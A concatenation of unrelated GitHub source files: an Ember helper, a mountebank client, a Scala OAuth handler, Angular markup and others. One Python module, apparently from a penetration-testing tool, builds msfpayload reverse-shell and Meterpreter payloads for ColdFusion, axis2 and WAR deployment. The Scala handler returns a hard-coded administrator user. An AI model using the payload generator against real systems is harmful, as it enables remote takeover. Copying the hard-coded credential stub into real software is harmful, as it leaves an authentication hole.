text:
import Helper from "@ember/component/helper"
import { htmlSafe } from '@ember/template'

/**
 * Interpret the given string as HTML code and remove unsafe parts.
 *
 * Example:
 * ```html
 * <span>{{html this.label}}</span>
 * ```
 * @module helper/html
 */
export default class Html extends Helper {
    compute([html]) {
        if (html === null || html === undefined) return ""

        let type = typeof html
        if (type == 'string' || type == 'number' || type == 'boolean') return htmlSafe(html)

        return `[${typeof html}]`
    }
}

redpajama_set_name: RedPajamaGithub


text:
from commands import getoutput
from log import LOG
import utility
import os
from zipfile import ZipFile

def run(options):
    """ This module is used for generating reverse shell payloads.  It's not
    flexible in what sorts of payloads it can generate, but this is by design.

    Highly customized payloads, or stuff like meterpreter/reverse java payloads
    should be generated using proper tools, such as msfpayload.  This is merely
    a quick way for us to get a reverse shell on a remote system.
    """

    PAYLOAD = "java/jsp_shell_reverse_tcp"
    SHELL = "cmd.exe"

    if not options.remote_service:
        utility.Msg("Please specify a remote service (-a)", LOG.ERROR)
        return
    elif not options.remote_os:
        utility.Msg("Please specify a remote OS (-o)", LOG.ERROR)
        return
    elif options.remote_service in ["coldfusion"]:
        out = "R > shell.jsp"
    elif options.remote_service in ["axis2"]:
        PAYLOAD = "java/meterpreter/reverse_tcp"
        out = "R > shell.jar"
    else:
        out = "W > shell.war"

    if options.remote_os != "windows":
        SHELL = "/bin/bash"

    if getoutput("which msfpayload") == "":
        utility.Msg("This option requires msfpayload", LOG.ERROR)
        return

    utility.Msg("Generating payload....")
    (lhost, lport) = options.generate_payload.split(":")

    resp = getoutput("msfpayload %s LHOST=%s LPORT=%s SHELL=%s %s" %
                    (PAYLOAD, lhost, lport, SHELL, out))

    '''For axis2 payloads, we have to add a few things to the msfpayload output'''
    if(options.remote_service in ["axis2"]):
        services_xml="""<service name="shell" scope="application">
                            <description>
                                Clusterd axis2 service
                            </description>
                            <messageReceivers>
                                <messageReceiver
                                    mep="http://www.w3.org/2004/08/wsdl/in-only"
                                    class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
                                <messageReceiver
                                    mep="http://www.w3.org/2004/08/wsdl/in-out"
                                    class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
                            </messageReceivers>
                            <parameter name="ServiceClass">
                                metasploit.PayloadServlet
                            </parameter>
                        </service>"""

        with ZipFile('shell.jar', 'a') as shellZip:
            shellZip.write("./src/lib/axis2/PayloadServlet.class","metasploit/PayloadServlet.class")
            shellZip.writestr("META-INF/services.xml",services_xml)

    if len(resp) <= 1 or 'Created by' in resp:
        utility.Msg("Payload generated (%s).  Payload: %s" % (out.split(' ')[2], PAYLOAD))

        # also log some auxiliary information
        getoutput("echo Generated at %s > ./src/lib/shell.log" % utility.timestamp())
        getoutput("echo %s:%s >> ./src/lib/shell.log" % (lhost, lport))
        getoutput("echo %s >> ./src/lib/shell.log" % (PAYLOAD))
    else:
        utility.Msg("Error generating payload: %s" % resp, LOG.ERROR)


text:
import { BasePageModel } from "./base.page-model";

export class TransactionsPageModel extends BasePageModel {
    public getUrl() { return `${this.baseUrl}`; }
}


text:
var http = require('http');
var utils = require('./utils.js');
var mbPort = process.env.MB_PORT || 2525;
var mbHost = process.env.MB_HOST || 'localhost';

/**
 * Retrieves a static object for HTTP DELETE request options.
 * @param  {Object} testDoubleDefinition The testdouble definition that contains the port for the delete options.
 * @return {Object} The DELETE options for the HTTP request.
 */
function populateDeleteOptions(testDoubleDefinition)
{
	return {
		hostname: mbHost,
		port: mbPort,
		path: '/imposters/' + testDoubleDefinition.port,
		method: 'DELETE',
		headers: {}
	};
}

/**
 * GETs a testdouble, but without proxies and requests array.
 * @param {Object} testDoubleDefinition The definition of the testdouble
 * @param {Object} reply The Hapi object consisting of a JSON response to be sent to the client.
 */
function getRequest(testDoubleDefinition, reply)
{
	utils.logger.debug('  port before getting: ' + testDoubleDefinition.port);
	utils.logger.info('[' + testDoubleDefinition.name + ']' + '  getting testdouble');

	var options = {
		hostname: mbHost,
		port: mbPort,
		path: '/imposters/' + testDoubleDefinition.port + '?replayable=true&removeProxies=true',
		method: 'GET'
	};

	var getReq = http.request(options, function(res) {
		res.setEncoding('utf8');
		var data = '';

		res.on('data', function(body) {
			data += body;
		});

		res.on('end', function() {

			data = JSON.parse(data);

			if(data.hasOwnProperty('errors'))
			{
				utils.sendFailureReply(reply, "missing resource", "testdouble does not exist");
				utils.remove(__dirname + '/../testdoubles/' + testDoubleDefinition.name + '.json');
			}

			else
			{
				deleteRequest(data, reply);
			}
		});

		//if request has errors, send a failure response, but keep everything as is
		res.on('error', function(error) {
			utils.logger.error('could not delete proxy because of problems in get response:  ' + error.message);
			utils.sendFailureReply(reply, "bad response", "could not create proxy because of problems in get response: " + error.message);
		});
	});

	getReq.end();

	getReq.on('error', function(error) {
		utils.logger.error('could not delete proxy because of problems in get request:  ' + error.message);
		utils.sendFailureReply(reply, "bad request", "could not create testdouble because of problems in get request: " + error.message);
	});
}

/**
 * POSTs a testdouble with the given definition.
 * @param {Object} testDoubleDefinition The definition of the testdouble.
 * @param {Object} reply The Hapi object consisting of a JSON response to be sent to the client. The response object
 * consists of the port and the success status.
 */
function postRequest(testDoubleDefinition, reply)
{
	utils.logger.debug('  port before posting: ' + testDoubleDefinition.port);
	utils.logger.debug('  testDoubleDefinition before posting: ' + JSON.stringify(testDoubleDefinition, null, 4));

	var testDoubleDefString = JSON.stringify(testDoubleDefinition, null, 4);
	utils.logger.debug('  length of string before posting: ' + testDoubleDefString.length);
	utils.logger.debug('  buffer length before posting: ' + Buffer.byteLength(testDoubleDefString));

	var options = {
		hostname: mbHost,
		port: mbPort,
		path: '/imposters',
		method: 'POST',
		headers: {
			'Content-Type': 'application/json'
		}
	};

	var req = http.request(options, function(res) {
	    utils.logger.debug('[' + testDoubleDefinition.name + ']' + '  status code inside of postRequest(): ' + res.statusCode);
	    utils.logger.debug('[' + testDoubleDefinition.name + ']' + '  response headers inside of postRequest(): ' + JSON.stringify(res.headers));
	    res.setEncoding('utf8');

	    var data = '';

		res.on('data', function(body) {
			data += body;
		});

		res.on('end', function() {

			if(res.statusCode !== 201)
			{
				reply(data);

				utils.logger.info('[' + testDoubleDefinition.name + '] ' + 'Could not create testdouble because of errors: ' + data);
				utils.logger.info('\n');
			}

			else
			{
				data = JSON.parse(data);
			 	data.host = res.socket._host;

			  	utils.logger.info('[' + data.name + ']' + '  testdouble port for ' + '\'' + data.name + '\'' + ' is ' + data.port);
				var testDoubleName = data.name;
				data = JSON.stringify(data, null , 4);

				var object =
				{
					"contents": data,
					"path": __dirname + '/../testdoubles/' + testDoubleName + '.json',
				};

				utils.save(object, 'file');

				reply(data);

				utils.logger.info('[' + testDoubleName + '] ' + 'End request successfully created testdouble');
				utils.logger.info('\n');
			}
	 	});

		//if response has errors, send a failure response, and delete testdouble definition file
	 	res.on('error', function(error) {
	 		utils.logger.error('could not create testdouble because of problems in post response: ' + error.message);
	 		utils.remove(__dirname + '/../testdoubles/' + testDoubleDefinition.name + '.json');
	 		utils.sendFailureReply(reply, "bad response", "could not create testdouble because of problems in post response: " + error.message);
	 	});
	});

	req.write(testDoubleDefString);
	req.end();

	//if request has errors, send a failure response, and delete testdouble definition file
	req.on('error', function(error) {
		utils.logger.error('could not create testdouble because of problems in post request:  ' + error.message);
		utils.remove(__dirname + '/../testdoubles/' + testDoubleDefinition.name + '.json');
		utils.sendFailureReply(reply, "bad request", "could not create testdouble because of problems in post request: " + error.message);
	});
}

/**
 * DELETEs the testdouble, and in the callback, recreates the testdouble.
 * @param {Object} testDoubleDefinition The testdouble's definition object consisting of the necessary information to delete the testdouble.
 * @param {Object} reply The Hapi object consisting of a JSON response to be sent to the client.
 */
function deleteRequest(testDoubleDefinition, reply)
{
	utils.logger.debug('  port before deleting: ' + testDoubleDefinition.port);
	utils.logger.debug('  testDoubleDefinition before deleting: ' + JSON.stringify(testDoubleDefinition, null, 4));

	var deleteOptions = populateDeleteOptions(testDoubleDefinition);

	var deleteReq = http.request(deleteOptions, function(res) {

		res.setEncoding('utf8');
		var data = '';

		res.on('data', function(body) {
			data += body;
		});

		res.on('end', function() {

			data = JSON.parse(data);

			if(Object.keys(data).length === 0)
			{
				utils.sendFailureReply(reply, "missing resource", "testdouble does not exist");
				utils.remove(__dirname + '/../testdoubles/' + testDoubleDefinition.name + '.json');
			}

			else
			{
				utils.logger.info('[' + testDoubleDefinition.name + ']' + '  deleted testdouble, recreating');
				postRequest(testDoubleDefinition, reply);
			}
		});

		//if request has errors, send a failure response, and delete testdouble definition file
		res.on('error', function(error) {
			utils.logger.error('could not create proxy because of problems in delete response:  ' + error.message);
			utils.remove(__dirname + '/../testdoubles/' + testDoubleDefinition.name + '.json');
			utils.sendFailureReply(reply, "bad response", "could not create proxy because of problems in delete response: " + error.message);
		});
	});

	deleteReq.end();

	//if request has errors, send a failure response, and delete testdouble definition file
	deleteReq.on('error', function(error) {
		utils.logger.error('could not create proxy because of problems in delete request:  ' + error.message);

		var object =
		{
			"contents": JSON.stringify(testDoubleDefinition, null,4),
			"path": __dirname + '/../../testdoubles/' + testDoubleDefinition.name + '.json',
		};

		utils.save(object, 'file');
		utils.sendFailureReply(reply, "bad request", "could not create proxy because of problems in delete request: " + error.message);
	});
}

/**
 * DELETEs the testdouble and also the definition file.
 * @param {Object} testDoubleDefinition The definition of the testdouble.
 * @param {Object} reply The Hapi object consisting of a JSON response to be sent to the client.
 */
function deleteTestDouble(testDoubleDefinition, reply)
{
	utils.logger.debug('  port before deleting testdouble: ' + testDoubleDefinition.port);

	var deleteOptions = populateDeleteOptions(testDoubleDefinition);

	var deleteRequest = http.request(deleteOptions, function(res) {
		res.setEncoding('utf8');

		var data = '';
		res.on('data', function(body) {
			data += body;
		});

		res.on('end', function() {

			data = JSON.parse(data);

			//testdouble does not exist, also delete file
			if(Object.keys(data).length === 0)
			{
				utils.sendFailureReply(reply, "missing resource", "testdouble does not exist");
				utils.remove(__dirname + '/../testdoubles/' + testDoubleDefinition.name + '.json');
			}

			else
			{
				utils.logger.info('[' + testDoubleDefinition.name + ']' + '  deleted testdouble');

				var testDoublePath = __dirname + '/../testdoubles/' + data.name + '.json';

				utils.remove(testDoublePath, 'file');
				utils.logger.info('[' + testDoubleDefinition.name + ']' + '  removed definition file');
				utils.logger.info('[' + testDoubleDefinition.name + '] ' + 'End request successfully deleted testdouble');
				data.host = res.socket._host;
				reply(JSON.stringify(data, null, 4));
			}
		});

		//if request has errors, send a failure response, but keep everything as is
		res.on('error', function(error) {
			utils.logger.error('could not delete testdouble because of problems in delete testdouble response:  ' + error.message);
			utils.sendFailureReply(reply, "bad response", "could not delete testdouble because of problems in delete testdouble response: " + error.message);
		});
	});

	deleteRequest.end();

	deleteRequest.on('error', function(error) {
		utils.logger.error('could not delete proxy because of problems in delete testdouble request:  ' + error.message);
		utils.sendFailureReply(reply, "bad request", "could not delete testdouble because of problems in delete testdouble request: " + error.message);
	});
}

/**
 * PUTs the definition of multiple testdoubles, and mass creates them.
 * @param {Object} testDoubleDefinition The definition of multiple testdoubles.
 * @param {Object} reply The Hapi object consisting of a JSON response to be sent to the client.
 */
function putRequest(testDoubleDefinition, reply)
{
	utils.logger.debug('  entered putRequest() with definition: ' + JSON.stringify(testDoubleDefinition, null, 4));

	var portsList = [];

	for (var index = 0; index < testDoubleDefinition.imposters.length; index++)
	{
		portsList.push(testDoubleDefinition.imposters[index].port);
	}

	var testDoubleDefString = JSON.stringify(testDoubleDefinition, null, 4);
	utils.logger.debug('  length of string before posting: ' + testDoubleDefString.length);
	utils.logger.debug('  buffer length before posting: ' + Buffer.byteLength(testDoubleDefString));

	var options = {
		hostname: mbHost,
		port: mbPort,
		path: '/imposters',
		method: 'PUT',
		headers: {
			'Content-Type': 'application/json'
		}
	};

	var req = http.request(options, function(res) {

		res.setEncoding('utf8');
	    var response = '';

		res.on('data', function(body) {
			response += body;
		});

		res.on('end', function() {

			if(res.statusCode !== 200)
			{
				reply(response);
				utils.logger.info('  Could not mass create testdoubles because of errors: ' + response);
			}

			else
			{
				var getOptions = {
					hostname: mbHost,
					port: mbPort,
					path: '/imposters?replayable=true',
					method: 'GET'
				};

				utils.logger.debug('  sending GET /imposters request to get a list of testdoubles');

				http.get(getOptions, function(res) {

					res.setEncoding('utf8');
					var data = '';

					res.on('data', function(body) {
						data += body;
					});

					res.on('end', function() {
						utils.logger.debug('  made GET /imposters?replayable=true request');
						data = JSON.parse(data);

						data.host = res.socket._host;

					 	var imposters = data.imposters;

					 	for(var counter = 0; counter < portsList.length; counter++)
					 	{
					 		for(var index = 0; index < imposters.length; index++)
						 	{
						 		if(portsList[counter] === imposters[index].port)
						 		{
						 			var object =
									{
										"contents": JSON.stringify(imposters[index], null,4),
										"path": __dirname + '/../testdoubles/' + imposters[index].name + '.json',
									};

									utils.save(object, 'file');
						 		}
						 	}
					 	}

						reply(response);

						utils.logger.info('End PUT request successfully created all testdoubles');
						utils.logger.info('\n');
					});
				});
			}
		});
	});

	req.on('error', function(e) {
		utils.logger.error('There was a problem with request: ' + e.message);
	});

	req.write(testDoubleDefString);
	req.end();
}

/**
 * DELETEs all testdoubles and all definition files.
 * @param {Object} reply The Hapi object consisting of a JSON response to be sent to the client.
 */
function deleteAllTestDoubles(reply)
{
	utils.logger.debug('  entered deleteAllTestDoubles');

	var options = {
		hostname: mbHost,
		port: mbPort,
		path: '/imposters',
		method: 'DELETE',
		headers: {}
	};

	var deleteRequest = http.request(options, function(res) {
		res.setEncoding('utf8');

		var data = '';
		res.on('data', function(body) {
			data += body;
		});

		res.on('end', function() {
			data = JSON.parse(data);

			for(var index = 0; index < data.imposters.length; index++)
			{
				utils.remove(__dirname + '/../testdoubles/' + data.imposters[index].name + '.json', 'file');
			}

			//no testdoubles exist
			if(data.imposters.length === 0)
			{
				utils.sendFailureReply(reply, "missing resource", "no testdoubles exist");
			}

			//there are some testdoubles
			else
			{
				reply(JSON.stringify(data, null, 4));
			}
		});

		//if request has errors, send a failure response, but keep everything as is
		res.on('error', function(error) {
			utils.logger.error('could not delete testdoubles because of problems in delete testdoubles response:  ' + error.message);
			utils.sendFailureReply(reply, "bad response", "could not delete testdouble because of problems in delete testdoubles response: " + error.message);
		});
	});

	deleteRequest.end();

	deleteRequest.on('error', function(error) {
		utils.logger.error('could not delete testdoubles because of problems in delete testdoubles request:  ' + error.message);
		utils.sendFailureReply(reply, "bad request", "could not delete testdoubles because of problems in delete testdoubles request: " + error.message);
	});
}

/**
 * GETs all testdoubles and all definition files.
 * @param {Object} reply The Hapi object consisting of a JSON response to be sent to the client.
 */
function getAllTestDoubles(reply)
{
	utils.logger.debug('  entered getAllTestDoubles');

	var options = {
		hostname: mbHost,
		port: mbPort,
		path: '/imposters' + '?replayable=true',
		method: 'GET',
		headers: {}
	};

	var getRequest = http.request(options, function(res) {
		res.setEncoding('utf8');

		var data = '';
		res.on('data', function(body) {
			data += body;
		});

		res.on('end', function() {
			data = JSON.parse(data);

			//no testdoubles exist
			if(data.imposters.length === 0)
			{
				utils.removeAll(__dirname + '/../testdoubles/');
				utils.sendFailureReply(reply, "missing resource", "no testdoubles exist");
			}

			//there are some testdoubles that dont exist in mb from the filesystem
			else
			{
				var testDoubles = [];
				var localTestDoubles = utils.cleanFiles();

				for(var index = 0; index < data.imposters.length; index++)
				{
					testDoubles.push(data.imposters[index].name);
				}

				var toDelete = utils.arrayDiff(localTestDoubles, testDoubles);

				for(var key = 0; key < toDelete.length; key++)
				{
					utils.remove(__dirname + '/../testdoubles/' + toDelete[key] + '.json', 'file');
				}

				reply(JSON.stringify(data, null, 4));
			}
		});

		//if request has errors, send a failure response, but keep everything as is
		res.on('error', function(error) {
			utils.logger.error('could not get testdoubles because of problems in get testdoubles response:  ' + error.message);
			utils.sendFailureReply(reply, "bad response", "could not get testdouble because of problems in get testdoubles response: " + error.message);
		});
	});

	getRequest.end();

	getRequest.on('error', function(error) {
		utils.logger.error('could not get testdoubles because of problems in get testdoubles request:  ' + error.message);
		utils.sendFailureReply(reply, "bad request", "could not get testdoubles because of problems in get testdoubles request: " + error.message);
	});
}

/**
 * GETs a single testdouble.
 * @param {Object} reply The Hapi object consisting of a JSON response to be sent to the client.
 */
function getTestDouble(testDoubleDefinition, reply)
{
	utils.logger.debug('  entered getTestDouble');

	var options = {
		hostname: mbHost,
		port: mbPort,
		path: '/imposters/' + testDoubleDefinition.port,
		method: 'GET',
		headers: {}
	};

	var getRequest = http.request(options, function(res) {
		res.setEncoding('utf8');

		var data = '';
		res.on('data', function(body) {
			data += body;
		});

		res.on('end', function() {
			data = JSON.parse(data);

			//testdouble does not exist
			if(data.hasOwnProperty('errors'))
			{
				utils.sendFailureReply(reply, "missing resource",  "testdouble does not exist");
				utils.remove(__dirname + '/../testdoubles/' + testDoubleDefinition.name + '.json');
			}

			//testdouble does exist
			else
			{
				data.host = res.socket._host;

				var object =
				{
					"contents": JSON.stringify(data, null, 4),
					"path": __dirname + '/../testdoubles/' + data.name + '.json',
				};

				utils.save(object, 'file');

				reply(JSON.stringify(data, null, 4));
			}
		});

		//if request has errors, send a failure response, but keep everything as is
		res.on('error', function(error) {
			utils.logger.error('could not get testdouble because of problems in get testdoubles response:  ' + error.message);
			utils.sendFailureReply(reply, "bad response", "could not get testdouble because of problems in get testdouble response: " + error.message);
		});
	});

	getRequest.end();

	getRequest.on('error', function(error) {
		utils.logger.error('could not get testdouble because of problems in get testdouble request:  ' + error.message);
		utils.sendFailureReply(reply, "bad request", "could not get testdouble because of problems in get testdouble request: " + error.message);
	});
}

module.exports = {
	postRequest: postRequest,
	deleteRequest: deleteRequest,
	deleteTestDouble: deleteTestDouble,
	getRequest: getRequest,
	putRequest: putRequest,
	deleteAllTestDoubles: deleteAllTestDoubles,
	getAllTestDoubles: getAllTestDoubles,
	getTestDouble: getTestDouble
};


text:
Set of simple SVG icons that I've created in [Sketch](http://www.bohemiancoding.com/sketch).

![grid](http://f.cl.ly/items/0q3K3X2o0O2G11173G2F/ico.jpg)

Iconfont, PNGs and stylesheets with data URIs are built using [gulp](https://github.com/wearefractal/gulp).


text:
/**
 * toString
 * @param  {[type]} val [description]
 * @return {[type]}     [description]
 */
module.exports = function (val) {
  /*jshint eqnull: true */

  if (val == null) {
    return "";
  } else {
    return val.toString();
  }
};


text:
package julianfalcionelli.magicform.validation;

import android.view.View;

public abstract class Validation<T extends View> {
    private String mMessage;

    public abstract boolean isValid(T view);

    public Validation setMessage(String message) {
        mMessage = message;

        return this;
    }

    public String getMessage() {
        return mMessage;
    }
}


text:
package oauth2

/**
 * Created by Alper on 29.01.2015.
 */

import models.User
import models.oauth2._
import utils.HashFactory

import scala.concurrent.Future
import scalaoauth2.provider.{ClientCredential, AuthInfo, DataHandler}
import java.util.Date
import java.sql.Timestamp

class OauthDataHandler extends DataHandler[User] {

  def findUser(username: String, password: String): Future[Option[User]] = {
    Future.successful(Users.findUser(username, password))
  }

  def createAccessToken(authInfo: AuthInfo[User]): Future[scalaoauth2.provider.AccessToken] = {
    val accessTokenExpiresIn = 60 * 60 // 1 hour
    val now = new Date()
    val createdAt = new Timestamp(now.getTime)
    val refreshToken = Some(HashFactory.generateToken())
    val accessToken = HashFactory.generateToken()

    val tokenObject = AccessToken(accessToken, refreshToken, authInfo.user._id, authInfo.scope, accessTokenExpiresIn, createdAt, authInfo.clientId.get)
    AccessTokens.deleteExistingAndCreate(tokenObject, authInfo.user._id, authInfo.clientId.get)
    Future.successful(scalaoauth2.provider.AccessToken(accessToken, refreshToken, authInfo.scope, Some(accessTokenExpiresIn.toLong), now))
  }

  def getStoredAccessToken(authInfo: AuthInfo[User]): Future[Option[scalaoauth2.provider.AccessToken]] = {
    Future.successful(AccessTokens.findToken(authInfo.user._id, authInfo.clientId.get) map { a =>
      scalaoauth2.provider.AccessToken(a.accessToken, a.refreshToken, a.scope, Some(a.expiresIn.toLong), a.createdAt)
    })
  }

  def refreshAccessToken(authInfo: AuthInfo[User], refreshToken: String): Future[scalaoauth2.provider.AccessToken] = {
    createAccessToken(authInfo)
  }

  def findAccessToken(token: String): Future[Option[scalaoauth2.provider.AccessToken]] = {
    Future.successful(AccessTokens.findAccessToken(token) map { a =>
      scalaoauth2.provider.AccessToken(a.accessToken, a.refreshToken, a.scope, Some(a.expiresIn.toLong), a.createdAt)
    })
  }

  def findAuthInfoByAccessToken(accessToken: scalaoauth2.provider.AccessToken): Future[Option[AuthInfo[User]]] = {
    Future.successful(AccessTokens.findAccessToken(accessToken.token) map { a =>
      val user = Users.getById(a.userId).get
      AuthInfo(user, Option(a.clientId), a.scope, Some(""))
    })
  }

  def findAuthInfoByRefreshToken(refreshToken: String): Future[Option[AuthInfo[User]]] = {
    Future.successful(AccessTokens.findRefreshToken(refreshToken) map { a =>
      val user = Users.getById(a.userId).get
      AuthInfo(user, Option(a.clientId), a.scope, Some(""))
    })
  }

  def findAuthInfoByCode(code: String): Future[Option[AuthInfo[User]]] = {
    Future.successful(AuthCodes.find(code) map { a =>
      val user = Users.getById(a.userId).get
      AuthInfo(user, Option(a.clientId), a.scope, a.redirectUri)
    })
  }

  def validateClient(clientCredential: ClientCredential, grantType: String): Future[Boolean] = {
    Future.successful(Devices.validate(clientCredential,grantType))
  }

  def findClientUser(clientCredential: ClientCredential, scope: Option[String]): Future[Option[User]] = {
    //Correct this logic!!
    Future.successful(Option(new User(1,"alper","alper.ytu7.gmail.com","alper48", models.Permission.valueOf("Administrator"))))
  }
}


text:
        <button class="btn btn-info" type="button" data-toggle="modal" data-target="#addRegionModal" aria-expanded="false">
           Add region
        </button>

Regions

{{region.Name}}

                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    ×
                </button>

Add new

                    <form class="container" #f="ngForm" (ngSubmit)="addRegion(f.value, f)">

                            name:
                            <input type="text" class="form-control" name="Name" ngModel>

                            country:

                        <select class="custom-select mb-2 mr-sm-2 mb-sm-0" id="CountryId" name="CountryId" required ngModel>
                        <option *ngFor="let country of countries" value="{{country.Id}}">
                            {{country.Name}}
                            </option>
                        </select>
                        <button type="submit" class="btn btn-info">Submit</button>
                    </form>

                {{errorMsg}}

            <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>

                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    ×
                </button>

Delete

                Are you sure you want to delete this region?

                <button type="button" class="btn btn-primary" (click)="deleteRegion()" data-dismiss="modal">Yes</button>
                <button type="button" class="btn btn-default" data-dismiss="modal">No</button>

                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    ×
                </button>

Edit

                        Name:
                        <input type = "text" name ="Name" id="Name" [(ngModel)]="region.Name"/>

                    <button type="submit" (click)="editRegion()" class="btn btn-primary" data-dismiss="modal">Edit</button>
                    <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>


text:
package day11;

import common.BaseSolution;
import common.Solution;

public class Solution11 extends BaseSolution implements Solution {

    public static void main(String[] args) throws Exception {
        new Solution11().run();
    }

    @Override
    public String part1() throws Exception {
        EmergencyHullPaintingRobot robot = new EmergencyHullPaintingRobot(getInputPositionsBigInteger());
        robot.paint();
        return String.valueOf(robot.findNumPanelsPaintedAtLeastOnce());
    }

    @Override
    public String part2() throws Exception {
        EmergencyHullPaintingRobot robot = new EmergencyHullPaintingRobot(getInputPositionsBigInteger());
        robot.setStartingPanelWhite();
        robot.paint();
        robot.printHull();
        return null;
    }
}


text:
package org.artifactory.storage.db.aql.sql.builder.query.sql.type;

import com.google.common.collect.Lists;
import org.artifactory.storage.db.aql.sql.builder.links.TableLink;
import org.artifactory.storage.db.aql.sql.model.SqlTableEnum;

import java.util.List;

import static org.artifactory.storage.db.aql.sql.builder.query.sql.type.AqlTableGraph.tablesLinksMap;

/**
 * The class contains tweaking information and optimizations for Statistics queries.
 *
 * @author Gidi Shabat
 */
public class StatisticsSqlGenerator extends BasicSqlGenerator {

    @Override
    protected List<TableLink> getExclude() {
        return Lists.newArrayList(tablesLinksMap.get(SqlTableEnum.build_dependencies));
    }

    @Override
    protected SqlTableEnum getMainTable() {
        return SqlTableEnum.stats;
    }

}


text:
/* globals $, _ */
/* globals QUnit, test, asyncTest, expect, start, stop, ok, equal, notEqual, deepEqual */

var Environment = require('test/environment');

var FilterView = require('view/grid/FilterView');

//use Environment to mock ajax
QUnit.module('FilterView', _.extend(new Environment(), {
  setup: function() {
    Environment.prototype.setup.apply(this, arguments);
  }
}));


text:
using UnityEngine;

using MathNet.Numerics;
using MathNet.Numerics.LinearAlgebra;

using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Linq.Expressions;
using System.Reflection;

//using System.Reflection.Emit;

public class SymbolicUnity : MonoBehaviour {

	//Expression<Func<int, bool>> lambda = num => num < 5;

	// Use this for initialization
	void Start () {

		// Manually build the expression tree for
		// the lambda expression num => num < 5.
		ParameterExpression numParam = Expression.Parameter(typeof(int), "num");
		ConstantExpression five = Expression.Constant(5, typeof(int));
		BinaryExpression numLessThanFive = Expression.LessThan(numParam, five);

		//Func<int, bool> lambda;
		Expression<Func<int, bool>> lambda1 =
			Expression.Lambda<Func<int, bool>>(
				numLessThanFive,
				new ParameterExpression[] { numParam });

		Func<int, bool> func = lambda1.Compile();
		bool less4 = func(4);
		bool less5 = func(5);
		bool less6 = func(6);

		ParameterExpression quadForm = Expression.Parameter(typeof(Matrix), "quadForm");
		ParameterExpression inputVector = Expression.Parameter(typeof(Matrix), "inputVector");

		BinaryExpression quadFormHalfExpr = Symbolic.halfQuadForm(quadForm, inputVector);

		String quadFormString = quadFormHalfExpr.ToString();
		print (quadFormString);

		Expression<Func<Matrix, Matrix, Matrix>> quadFormLambda =
			Expression.Lambda<Func<Matrix, Matrix, Matrix>>(
				quadFormHalfExpr,
				new ParameterExpression[] {quadForm, inputVector});

		print (quadFormLambda.ToString());

		Func<Matrix, Matrix, Matrix> quadFormFunc = quadFormLambda.Compile();

		Matrix inputVectorTest = new Matrix(new double[][]{new double[] {1.0}, new double[] {0.5}});
		Matrix inputMatrixTest = new Matrix(new double[][]{new double[] {3.0, 0.5}, new double[] {0.5, 2.0}});

		Matrix outputTest = quadFormFunc(inputMatrixTest, inputVectorTest);

		print (outputTest.GetArray()[0][0]);

		// SymbolicMatrixExpr test stuff

		SymbolicMatrixExpr inputSymbVector = SymbolicMatrixExpr.constantMatrix(inputVectorTest, "v");
		SymbolicMatrixExpr inputSymbMatrix = SymbolicMatrixExpr.constantMatrix(inputMatrixTest, "A");

		SymbolicMatrixExpr param1SymbVector = SymbolicMatrixExpr.parametricMatrix(new int[] {2, 1}, "v1p");
		SymbolicMatrixExpr param2SymbVector = SymbolicMatrixExpr.parametricMatrix(new int[] {2, 1}, "v2p");
		SymbolicMatrixExpr paramSymbMatrix  = SymbolicMatrixExpr.parametricMatrix(new int[] {2, 2}, "Ap");

		SymbolicMatrixExpr scalarHalf = SymbolicMatrixExpr.constantMatrix(new Matrix(new double[][] {new double[] {0.5}}), "0.5");

		SymbolicMatrixExpr matVecMultSymb = SymbolicMatrixExpr.multiply(inputSymbMatrix, inputSymbVector);
		SymbolicMatrixExpr halfMatVecMultSymb = SymbolicMatrixExpr.scale(scalarHalf, matVecMultSymb);
		SymbolicMatrixExpr quadFormSymb = SymbolicMatrixExpr.multiply(SymbolicMatrixExpr.transposeMatrix(inputSymbVector), matVecMultSymb);
		SymbolicMatrixExpr halfQuadFormSymb = SymbolicMatrixExpr.multiply(SymbolicMatrixExpr.transposeMatrix(inputSymbVector), halfMatVecMultSymb);
		SymbolicMatrixExpr vecAdd = SymbolicMatrixExpr.add(inputSymbVector, inputSymbVector);
		SymbolicMatrixExpr vec2Add = SymbolicMatrixExpr.add(vecAdd, vecAdd);
		print (matVecMultSymb.name + " = ");
		double[][] result = (((Func<Matrix>) matVecMultSymb.lambdafy().Compile()) ()).GetArray();
		print ("[" + result[0][0].ToString() + ", " + result[1][0].ToString() + "]");
		print ("Return Shape: " + matVecMultSymb.shape[0].ToString() + ", " + matVecMultSymb.shape[1].ToString());

		print (halfQuadFormSymb.name + " = ");
		//double[][] quadFormResult = (((Func<Matrix>) halfQuadFormSymb.lambdafy().Compile()) ()).GetArray();
		MatrixExprWithData[] halfQuadFormResultsWithInputAndType = halfQuadFormSymb.evaluateWithInputsAndType(new Dictionary<string, Matrix>());
		//Matrix[] halfQuadFormResults = halfQuadFormSymb.evaluate(new Dictionary<string, Matrix>());
		foreach (MatrixExprWithData matExpr in halfQuadFormResultsWithInputAndType){
			Matrix outMat = matExpr.output;
			MatrixExpressionType exprType = matExpr.exprType;
			print (exprType);
			print ( TextManager.Mat2String(TextManager.textListsMatrix(outMat, 3)));
		}
		//double[][] quadFormResult = halfQuadFormResults.Last().GetArray();
		//print (quadFormResult[0][0].ToString());
		//print ("Return Shape: " + matVecMultSymb.shape[0].ToString() + ", " + matVecMultSymb.shape[1].ToString());

		// check that this next line produces a shape error
		//SymbolicMatrixExpr matVecMultSymbError = SymbolicMatrixExpr.multiply(matVecMultSymb, inputSymbVector);

		// test childrenFirstTopSort

		SymbolicMatrixExpr currentTopSort = halfQuadFormSymb;
		SymbolicMatrixExpr[] topSort = SymbolicMatrixExpr.childrenFirstTopSort(currentTopSort);

		int treeSize = currentTopSort.treeSize;
		print ("tree size: " + treeSize.ToString());

		for (int i = 0; i < treeSize; i++){
			SymbolicMatrixExpr symb = topSort[i];
			print (symb.name);
		}

		// testing variable number of parameters

	}

	// Update is called once per frame
	void Update () {

	}
}


text:
#ifndef PingLoader_h
#define PingLoader_h

#include <wtf/RefPtr.h>

namespace WebCore {

class FormData;
class Frame;
class URL;
class ResourceRequest;

enum class ViolationReportType {
    ContentSecurityPolicy,
    XSSAuditor,
};

class PingLoader {
public:
    static void loadImage(Frame&, const URL&);
